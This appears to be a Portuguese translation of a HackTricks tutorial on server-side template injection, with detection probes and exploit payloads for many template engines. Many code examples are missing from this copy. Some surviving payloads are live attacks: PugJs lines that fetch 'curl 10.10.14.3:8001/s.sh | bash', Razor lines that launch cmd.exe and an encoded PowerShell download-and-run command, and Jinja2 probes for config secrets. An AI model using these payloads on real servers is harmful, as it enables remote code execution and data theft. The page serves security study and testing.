SSTI (Server Side Template Injection)
Aprenda e pratique Hacking na AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking no GCP:
HackTricks Training GCP Red Team Expert (GRTE)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F910640767-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FjzQiXe8oFAkPoN0MXcUG%252Fuploads%252Fgit-blob-9b4be1f505608769d43f6dc95da85f837f25b869%252Fimage%2520%28641%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=c63a3158&sv=1)
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
O que é SSTI (Server-Side Template Injection)
A injeção de template do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um template que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
Jinja é um mecanismo de template popular usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja:
Neste código vulnerável, o parâmetro name
da solicitação do usuário é passado diretamente para o template usando a função render
. Isso pode potencialmente permitir que um atacante injete código malicioso no parâmetro name
, levando a uma injeção de template do lado do servidor.
Por exemplo, um atacante poderia criar uma solicitação com um payload como este:
O payload {{bad-stuff-here}}
é injetado no parâmetro name
. Este payload pode conter diretivas de template Jinja que permitem ao atacante executar código não autorizado ou manipular o mecanismo de template, potencialmente ganhando controle sobre o servidor.
Para prevenir vulnerabilidades de injeção de template do lado do servidor, os desenvolvedores devem garantir que a entrada do usuário seja devidamente sanitizada e validada antes de ser inserida nos templates. Implementar validação de entrada e usar técnicas de escape sensíveis ao contexto pode ajudar a mitigar o risco dessa vulnerabilidade.
Detecção
Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, fuzzing do template é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (${{<%[%'"}}%\
) no template e analisar as diferenças na resposta do servidor a dados regulares em comparação com este payload especial. Indicadores de vulnerabilidade incluem:
Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares.
Contexto de Texto Simples: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo,
{{7*7}}
,${7*7}
).Contexto de Código: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando
greeting
emhttp://vulnerable-website.com/?greeting=data.username
para ver se a saída do servidor é dinâmica ou fixa, como emgreeting=data.username}}hello
retornando o nome de usuário.
Fase de Identificação
Identificar o mecanismo de template envolve analisar mensagens de erro ou testar manualmente vários payloads específicos de linguagem. Payloads comuns que causam erros incluem ${7/0}
, {{7/0}}
e <%= 7/0 %>
. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de template específico.
Ferramentas
um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadores.
uma tabela interativa contendo os poliglotas de injeção de template mais eficientes, juntamente com as respostas esperadas dos 44 motores de template mais importantes.
Exploits
Genérico
Nesta wordlist você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:
Java
Java - Injeção básica
Java - Recuperar as variáveis de ambiente do sistema
Java - Recuperar /etc/passwd
FreeMarker (Java)
Você pode testar seus payloads em https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legado)
${7*'7'} Nada
${foobar}
Freemarker - Bypass de sandbox
⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30
Mais informações
Na seção FreeMarker de https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Mais informações
Na seção Velocity de https://portswigger.net/research/server-side-template-injection
Thymeleaf
No Thymeleaf, um teste comum para vulnerabilidades SSTI é a expressão ${7*7}
, que também se aplica a este mecanismo de template. Para potencial execução remota de código, expressões como as seguintes podem ser usadas:
SpringEL:
OGNL:
Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, inlining de expressões é suportado para outros locais de template, usando sintaxe como [[...]]
ou [(...)]
. Assim, um simples payload de teste SSTI pode parecer [[${7*7}]]
.
No entanto, a probabilidade de esse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio TemplateResolver
para criar templates a partir de strings em tempo real, o que é incomum.
Thymeleaf também oferece pré-processamento de expressões, onde expressões dentro de sublinhados duplos (__...__
) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
Exemplo de Vulnerabilidade no Thymeleaf
Considere o seguinte trecho de código, que pode ser suscetível a exploração:
Isso indica que, se o mecanismo de template processar essas entradas de forma inadequada, isso pode levar à execução remota de código acessando URLs como:
Mais informações
Spring Framework (Java)
Bypass filters
Múltiplas expressões de variável podem ser usadas, se ${...}
não funcionar, tente #{...}
, *{...}
, @{...}
ou ~{...}
.
Leia
/etc/passwd
Script personalizado para geração de payloads
Mais Informações
Manipulação de Visualização Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Versão antiga do Pebble ( < versão 3.0.9):
Nova versão do Pebble:
Jinjava (Java)
Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em https://github.com/HubSpot/jinjava/
Jinjava - Execução de comandos
Corrigido por https://github.com/HubSpot/jinjava/pull/230
Mais informações
Hubspot - HuBL (Java)
Delimitadores de declaração
{% %}
Delimitadores de expressão
{{ }}
Delimitadores de comentário
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o projeto Jinjava no Github.
Mais informações
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
JavaServer Faces (JSF): Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
JavaServer Pages (JSP): EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
Contexts and Dependency Injection for Java EE (CDI): EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
Verifique a página a seguir para saber mais sobre a exploração de interpretadores EL:
EL - Expression LanguageGroovy (Java)
As seguintes contornadas do Security Manager foram retiradas deste writeup.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
Smarty (PHP)
Mais informações
Na seção Smarty de https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Formato de template
Mais informações
Na seção Twig e Twig (Sandboxed) de https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates é um mecanismo de template nativo do PHP, inspirado no Twig. No entanto, ao contrário do Twig, que introduz uma nova sintaxe, Plates aproveita o código PHP nativo nos templates, tornando-o intuitivo para desenvolvedores PHP.
Controlador:
Modelo de página:
Modelo de layout:
Mais informações
PHPlib e HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB é o mesmo que PHPlib, mas portado para Pear.
authors.tpl
authors.php
Mais informações
Jade (NodeJS)
Mais informações
Na seção Jade de https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate é um mecanismo de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
Mais informações
Handlebars (NodeJS)
Path Traversal (mais informações aqui).
= Erro
${7*7} = ${7*7}
Nada
Mais informações
JsRender (NodeJS)
Template | Descrição |
Avaliar e renderizar saída | |
Avaliar e renderizar saída codificada em HTML | |
Comentário | |
e | Permitir código (desativado por padrão) |
= 49
Lado do Cliente
Servidor Lado
Mais informações
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Exemplo de renderização do lado do servidor
Mais informações
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Sem saída
#{7*7} = #{7*7}
{{console.log(1)}} = Erro
Mais informações
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Erro
Mais informações
Slim (Ruby)
{ 7 * 7 }
Mais informações
Python
Confira a página a seguir para aprender truques sobre execução arbitrária de comandos contornando sandboxes em python:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Erro
{{7*'7'}} = 7777777
Mais informações
Jinja2 (Python)
Jinja2 é um mecanismo de template completo para Python. Ele possui suporte total a unicode, um ambiente de execução integrado e sandbox opcional, amplamente utilizado e licenciado sob BSD.
{{7*7}} = Erro
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Formato de template
RCE não dependente de __builtins__
:
Mais detalhes sobre como abusar do Jinja:
Jinja2 SSTIOutros payloads em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Mais informações
Razor (.Net)
@(2+2) <= Sucesso
@() <= Sucesso
@("{{code}}") <= Sucesso
@ <=Sucesso
@{} <= ERRO!
@{ <= ERROO!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
O método .NET System.Diagnostics.Process.Start
pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de webapp vulnerável em https://github.com/cnotin/RazorVulnerableApp
Mais informações
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nada<%= response.write(date()) %>
= <Data>
Mais Informações
Mojolicious (Perl)
Mesmo sendo Perl, ele usa tags como ERB em Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
SSTI em GO
No mecanismo de templates do Go, a confirmação de seu uso pode ser feita com payloads específicos:
{{ . }}
: Revela a estrutura de dados de entrada. Por exemplo, se um objeto com um atributoPassword
for passado,{{ .Password }}
pode expô-lo.{{printf "%s" "ssti" }}
: Espera-se que exiba a string "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Esses payloads devem retornar "ssti" sem adicionar "html" ou "js". Diretrizes adicionais podem ser exploradas na documentação do Go aqui.
Exploração de XSS
Com o pacote text/template
, XSS pode ser direto ao inserir o payload diretamente. Em contraste, o pacote html/template
codifica a resposta para evitar isso (por exemplo, {{"<script>alert(1)</script>"}}
resulta em <script>alert(1)</script>
). No entanto, a definição e invocação de templates em Go podem contornar essa codificação: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Exploração de RCE
A exploração de RCE difere significativamente entre html/template
e text/template
. O módulo text/template
permite chamar qualquer função pública diretamente (usando o valor “call”), o que não é permitido em html/template
. A documentação para esses módulos está disponível aqui para html/template e aqui para text/template.
Para RCE via SSTI em Go, métodos de objeto podem ser invocados. Por exemplo, se o objeto fornecido tiver um método System
que executa comandos, ele pode ser explorado como {{ .System "ls" }}
. Acesso ao código-fonte é geralmente necessário para explorar isso, como no exemplo dado:
Mais informações
Mais Exploits
Verifique o restante de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para mais exploits. Você também pode encontrar informações interessantes sobre tags em https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Ajuda Relacionada
Se você achar que pode ser útil, leia:
Ferramentas
Lista de Detecção de Brute-Force
Prática & Referências
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated